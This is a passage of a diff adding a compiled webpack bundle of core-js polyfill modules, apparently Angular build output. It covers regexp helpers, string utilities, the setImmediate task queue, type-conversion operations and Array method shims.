lastIndex, reCopy, match, i; + + if (NPCG_INCLUDED) { + reCopy = new RegExp('^' + re.source + '$(?!\\s)', regexpFlags.call(re)); + } + if (UPDATES_LAST_INDEX_WRONG) lastIndex = re.lastIndex; + + match = nativeExec.call(re, str); + + if (UPDATES_LAST_INDEX_WRONG && match) { + re.lastIndex = re.global ? match.index + match[0].length : lastIndex; + } + if (NPCG_INCLUDED && match && match.length > 1) { + // Fix browsers whose `exec` methods don't consistently return `undefined` + // for NPCG, like IE8. NOTE: This doesn' work for /(.?)?/ + nativeReplace.call(match[0], reCopy, function () { + for (i = 1; i < arguments.length - 2; i++) { + if (arguments[i] === undefined) match[i] = undefined; + } + }); + } + + return match; + }; +} + +module.exports = patchedExec; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-flags.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/regexp-flags.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); + +// `RegExp.prototype.flags` getter implementation +// https://tc39.github.io/ecma262/#sec-get-regexp.prototype.flags +module.exports = function () { + var that = anObject(this); + var result = ''; + if (that.global) result += 'g'; + if (that.ignoreCase) result += 'i'; + if (that.multiline) result += 'm'; + if (that.unicode) result += 'u'; + if (that.sticky) result += 'y'; + return result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js": +/*!***************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js ***! + \***************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// `RequireObjectCoercible` abstract operation +// https://tc39.github.io/ecma262/#sec-requireobjectcoercible +module.exports = function (it) { + if (it == undefined) throw TypeError("Can't call method on " + it); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/same-value.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/same-value.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// `SameValue` abstract operation +// https://tc39.github.io/ecma262/#sec-samevalue +module.exports = Object.is || function is(x, y) { + // eslint-disable-next-line no-self-compare + return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); + +module.exports = function (key, value) { + try { + hide(global, key, value); + } catch (error) { + global[key] = value; + } return value; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var getBuiltIn = __webpack_require__(/*! ../internals/get-built-in */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-built-in.js"); +var definePropertyModule = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); + +module.exports = function (CONSTRUCTOR_NAME) { + var C = getBuiltIn(CONSTRUCTOR_NAME); + var defineProperty = definePropertyModule.f; + if (DESCRIPTORS && C && !C[SPECIES]) defineProperty(C, SPECIES, { + configurable: true, + get: function () { return this; } + }); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var TO_STRING_TAG = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('toStringTag'); + +module.exports = function (it, TAG, STATIC) { + if (it && !has(it = STATIC ? it : it.prototype, TO_STRING_TAG)) { + defineProperty(it, TO_STRING_TAG, { configurable: true, value: TAG }); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared-key.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var shared = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('keys'); +var uid = __webpack_require__(/*! ../internals/uid */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js"); + +module.exports = function (key) { + return shared[key] || (shared[key] = uid(key)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js": +/*!*********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js ***! + \*********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var setGlobal = __webpack_require__(/*! ../internals/set-global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-global.js"); +var SHARED = '__core-js_shared__'; +var store = global[SHARED] || setGlobal(SHARED, {}); + +(module.exports = function (key, value) { + return store[key] || (store[key] = value !== undefined ? value : {}); +})('versions', []).push({ + version: '3.0.1', + mode: __webpack_require__(/*! ../internals/is-pure */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-pure.js") ? 'pure' : 'global', + copyright: '© 2019 Denis Pushkarev (zloirock.ru)' +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); + +module.exports = function (METHOD_NAME, argument) { + var method = [][METHOD_NAME]; + return !method || !fails(function () { + // eslint-disable-next-line no-useless-call,no-throw-literal + method.call(null, argument || function () { throw 1; }, 1); + }); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/species-constructor.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/species-constructor.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); + +// `SpeciesConstructor` abstract operation +// https://tc39.github.io/ecma262/#sec-speciesconstructor +module.exports = function (O, defaultConstructor) { + var C = anObject(O).constructor; + var S; + return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? defaultConstructor : aFunction(S); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-at.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-at.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); +// CONVERT_TO_STRING: true -> String#at +// CONVERT_TO_STRING: false -> String#codePointAt +module.exports = function (that, pos, CONVERT_TO_STRING) { + var S = String(requireObjectCoercible(that)); + var position = toInteger(pos); + var size = S.length; + var first, second; + if (position < 0 || position >= size) return CONVERT_TO_STRING ? '' : undefined; + first = S.charCodeAt(position); + return first < 0xD800 || first > 0xDBFF || position + 1 === size + || (second = S.charCodeAt(position + 1)) < 0xDC00 || second > 0xDFFF + ? CONVERT_TO_STRING ? S.charAt(position) : first + : CONVERT_TO_STRING ? S.slice(position, position + 2) : (first - 0xD800 << 10) + (second - 0xDC00) + 0x10000; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-repeat.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-repeat.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); + +// `String.prototype.repeat` method implementation +// https://tc39.github.io/ecma262/#sec-string.prototype.repeat +module.exports = ''.repeat || function repeat(count) { + var str = String(requireObjectCoercible(this)); + var result = ''; + var n = toInteger(count); + if (n < 0 || n == Infinity) throw RangeError('Wrong number of repetitions'); + for (;n > 0; (n >>>= 1) && (str += str)) if (n & 1) result += str; + return result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-trim.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-trim.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); +var whitespace = '[' + __webpack_require__(/*! ../internals/whitespaces */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/whitespaces.js") + ']'; +var ltrim = RegExp('^' + whitespace + whitespace + '*'); +var rtrim = RegExp(whitespace + whitespace + '*$'); + +// 1 -> String#trimStart +// 2 -> String#trimEnd +// 3 -> String#trim +module.exports = function (string, TYPE) { + string = String(requireObjectCoercible(string)); + if (TYPE & 1) string = string.replace(ltrim, ''); + if (TYPE & 2) string = string.replace(rtrim, ''); + return string; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/task.js": +/*!*******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/task.js ***! + \*******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var html = __webpack_require__(/*! ../internals/html */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/html.js"); +var createElement = __webpack_require__(/*! ../internals/document-create-element */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/document-create-element.js"); +var set = global.setImmediate; +var clear = global.clearImmediate; +var process = global.process; +var MessageChannel = global.MessageChannel; +var Dispatch = global.Dispatch; +var counter = 0; +var queue = {}; +var ONREADYSTATECHANGE = 'onreadystatechange'; +var defer, channel, port; + +var run = function () { + var id = +this; + // eslint-disable-next-line no-prototype-builtins + if (queue.hasOwnProperty(id)) { + var fn = queue[id]; + delete queue[id]; + fn(); + } +}; + +var listener = function (event) { + run.call(event.data); +}; + +// Node.js 0.9+ & IE10+ has setImmediate, otherwise: +if (!set || !clear) { + set = function setImmediate(fn) { + var args = []; + var i = 1; + while (arguments.length > i) args.push(arguments[i++]); + queue[++counter] = function () { + // eslint-disable-next-line no-new-func + (typeof fn == 'function' ? fn : Function(fn)).apply(undefined, args); + }; + defer(counter); + return counter; + }; + clear = function clearImmediate(id) { + delete queue[id]; + }; + // Node.js 0.8- + if (classof(process) == 'process') { + defer = function (id) { + process.nextTick(bind(run, id, 1)); + }; + // Sphere (JS game engine) Dispatch API + } else if (Dispatch && Dispatch.now) { + defer = function (id) { + Dispatch.now(bind(run, id, 1)); + }; + // Browsers with MessageChannel, includes WebWorkers + } else if (MessageChannel) { + channel = new MessageChannel(); + port = channel.port2; + channel.port1.onmessage = listener; + defer = bind(port.postMessage, port, 1); + // Browsers with postMessage, skip WebWorkers + // IE8 has postMessage, but it's sync & typeof its postMessage is 'object' + } else if (global.addEventListener && typeof postMessage == 'function' && !global.importScripts) { + defer = function (id) { + global.postMessage(id + '', '*'); + }; + global.addEventListener('message', listener, false); + // IE8- + } else if (ONREADYSTATECHANGE in createElement('script')) { + defer = function (id) { + html.appendChild(createElement('script'))[ONREADYSTATECHANGE] = function () { + html.removeChild(this); + run.call(id); + }; + }; + // Rest old browsers + } else { + defer = function (id) { + setTimeout(bind(run, id, 1), 0); + }; + } +} + +module.exports = { + set: set, + clear: clear +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/this-number-value.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/this-number-value.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classof = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); + +// `thisNumberValue` abstract operation +// https://tc39.github.io/ecma262/#sec-thisnumbervalue +module.exports = function (value) { + if (typeof value != 'number' && classof(value) != 'Number') { + throw TypeError('Incorrect invocation'); + } + return +value; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var max = Math.max; +var min = Math.min; + +// Helper for a popular repeating case of the spec: +// Let integer be ? ToInteger(index). +// If integer < 0, let result be max((length + integer), 0); else let result be min(length, length). +module.exports = function (index, length) { + var integer = toInteger(index); + return integer < 0 ? max(integer + length, 0) : min(integer, length); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// toObject with fallback for non-array-like ES3 strings +var IndexedObject = __webpack_require__(/*! ../internals/indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); + +module.exports = function (it) { + return IndexedObject(requireObjectCoercible(it)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var ceil = Math.ceil; +var floor = Math.floor; + +// `ToInteger` abstract operation +// https://tc39.github.io/ecma262/#sec-tointeger +module.exports = function (argument) { + return isNaN(argument = +argument) ? 0 : (argument > 0 ? floor : ceil)(argument); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var min = Math.min; + +// `ToLength` abstract operation +// https://tc39.github.io/ecma262/#sec-tolength +module.exports = function (argument) { + return argument > 0 ? min(toInteger(argument), 0x1FFFFFFFFFFFFF) : 0; // 2 ** 53 - 1 == 9007199254740991 +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); + +// `ToObject` abstract operation +// https://tc39.github.io/ecma262/#sec-toobject +module.exports = function (argument) { + return Object(requireObjectCoercible(argument)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-primitive.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.1 ToPrimitive(input [, PreferredType]) +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +// instead of the ES6 spec version, we didn't implement @@toPrimitive case +// and the second argument - flag - preferred type is a string +module.exports = function (it, S) { + if (!isObject(it)) return it; + var fn, val; + if (S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + if (typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it))) return val; + if (!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + throw TypeError("Can't convert object to primitive value"); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js": +/*!******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js ***! + \******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var id = 0; +var postfix = Math.random(); + +module.exports = function (key) { + return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + postfix).toString(36)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/user-agent.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/user-agent.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var navigator = global.navigator; + +module.exports = navigator && navigator.userAgent || ''; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-set-prototype-of-arguments.js": +/*!**************************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-set-prototype-of-arguments.js ***! + \**************************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); + +module.exports = function (O, proto) { + anObject(O); + if (!isObject(proto) && proto !== null) { + throw TypeError("Can't set " + String(proto) + ' as a prototype'); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-string-method-arguments.js": +/*!***********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/validate-string-method-arguments.js ***! + \***********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// helper for String#{startsWith, endsWith, includes} +var isRegExp = __webpack_require__(/*! ../internals/is-regexp */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-regexp.js"); +var requireObjectCoercible = __webpack_require__(/*! ../internals/require-object-coercible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/require-object-coercible.js"); + +module.exports = function (that, searchString, NAME) { + if (isRegExp(searchString)) { + throw TypeError('String.prototype.' + NAME + " doesn't accept regex"); + } return String(requireObjectCoercible(that)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var store = __webpack_require__(/*! ../internals/shared */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/shared.js")('wks'); +var uid = __webpack_require__(/*! ../internals/uid */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/uid.js"); +var Symbol = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js").Symbol; +var NATIVE_SYMBOL = __webpack_require__(/*! ../internals/native-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/native-symbol.js"); + +module.exports = function (name) { + return store[name] || (store[name] = NATIVE_SYMBOL && Symbol[name] + || (NATIVE_SYMBOL ? Symbol : uid)('Symbol.' + name)); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/whitespaces.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/whitespaces.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// a string of all valid unicode whitespaces +// eslint-disable-next-line max-len +module.exports = '\u0009\u000A\u000B\u000C\u000D\u0020\u00A0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF'; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/wrapped-well-known-symbol.js": +/*!****************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/wrapped-well-known-symbol.js ***! + \****************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +exports.f = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js"); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.copy-within.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.copy-within.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Array.prototype.copyWithin` method +// https://tc39.github.io/ecma262/#sec-array.prototype.copywithin +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true }, { + copyWithin: __webpack_require__(/*! ../internals/array-copy-within */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-copy-within.js") +}); + +// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables +__webpack_require__(/*! ../internals/add-to-unscopables */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/add-to-unscopables.js")('copyWithin'); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.every.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.every.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalEvery = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js")(4); + +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('every'); + +// `Array.prototype.every` method +// https://tc39.github.io/ecma262/#sec-array.prototype.every +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: SLOPPY_METHOD }, { + every: function every(callbackfn /* , thisArg */) { + return internalEvery(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.fill.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.fill.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// `Array.prototype.fill` method +// https://tc39.github.io/ecma262/#sec-array.prototype.fill +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true }, { fill: __webpack_require__(/*! ../internals/array-fill */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-fill.js") }); + +// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables +__webpack_require__(/*! ../internals/add-to-unscopables */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/add-to-unscopables.js")('fill'); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.filter.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.filter.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalFilter = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js")(2); + +var SPECIES_SUPPORT = __webpack_require__(/*! ../internals/array-method-has-species-support */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-method-has-species-support.js")('filter'); + +// `Array.prototype.filter` method +// https://tc39.github.io/ecma262/#sec-array.prototype.filter +// with adding support of @@species +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: !SPECIES_SUPPORT }, { + filter: function filter(callbackfn /* , thisArg */) { + return internalFilter(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.find-index.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.array.find-index.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var internalFindIndex = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js")(6); +var FIND_INDEX = 'findIndex'; +var SKIPS_HOLES = true; + +// Shouldn't skip holes +if (FIND_INDEX in []) Array(1)[FIND_INDEX](function () { SKIPS_HOLES = false; }); + +// `Array.prototype.findIndex` method +// https://tc39.github.io/ecma262/#sec-array.prototype.findindex +__webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js")({ target: 'Array', proto: true, forced: SKIPS_HOLES }, { + findIndex: function findIndex(callbackfn /* , that = undefined */) { + return internalFindIndex(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); + } +}); + +// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables 